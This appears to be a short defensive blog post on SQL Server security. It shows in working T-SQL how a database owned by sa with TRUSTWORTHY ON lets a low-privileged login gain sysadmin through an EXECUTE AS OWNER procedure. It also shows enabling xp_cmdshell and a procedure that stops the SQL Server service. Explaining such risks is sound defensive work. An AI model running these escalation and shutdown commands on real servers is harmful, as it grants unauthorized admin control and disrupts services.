While working with a customer we discovered a potential vulnerability when having database owners set to sa and TRUSTWORTHY set to on for a database, so here’s a quick post showing how this is achieved so you can better understand it and hopefully avoid this scenario.
-- Create the database and set the owner to sa CREATE DATABASE SecurityTest WITH TRUSTWORTHY ON GO USE [SecurityTest] GO EXEC sp_changedbowner 'sa' GO
-- create a stored procedure which creates a new login and assigns it to the sysadmin role USE [SecurityTest] GO CREATE PROCEDURE BadBoyProcedure WITH EXECUTE AS OWNER AS BEGIN CREATE LOGIN BadLogin WITH PASSWORD = 'BadPassword01!' ALTER SERVER ROLE [sysadmin] ADD MEMBER [BadLogin] END GO
-- create a new login which 0 permissions except execute on the above stored procedure USE [master] GO CREATE LOGIN [SecurityTest] WITH PASSWORD=N'password' , CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF GO
USE [SecurityTest] GO CREATE USER [SecurityTest] FOR LOGIN [SecurityTest] GO
USE [SecurityTest] GO GRANT EXECUTE ON BadBoyProcedure to [SecurityTest]
Now if you open a new session with the SecurityTest login and execute the stored procedure a user can effectively grant themselves admin, or in this case, create a new admin login.
Click for big image
As you can see it would be possible for someone to submit some code to create a procedure and execute it to grant themselves admin permissions. Being aware of this can help you safeguard yourselves against it. By default TRUSTWORTHY is set to OFF (best practice). In this scenario, if it is OFF then it’s not possible to execute the stored procedure with EXECUTE AS CALLER – it throws an error.
Also consider what it would mean if you had a policy (as crazy as this would sound, but I’ve seen it) where you need XP_CMDSHELL enabled, you could open the door to do some pretty crazy things!
As an example:
CREATE PROCEDURE shutserverdown WITH EXECUTE AS OWNER AS BEGIN EXEC xp_cmdshell 'net stop mssqlserver' END GO
USE [SecurityTest] GO GRANT EXECUTE ON shutserverdown to [SecurityTest] GO
-- turn on cmdshell sp_configure 'show advanced options', 1 RECONFIGURE GO sp_configure 'xp_cmdshell', 1 RECONFIGURE GO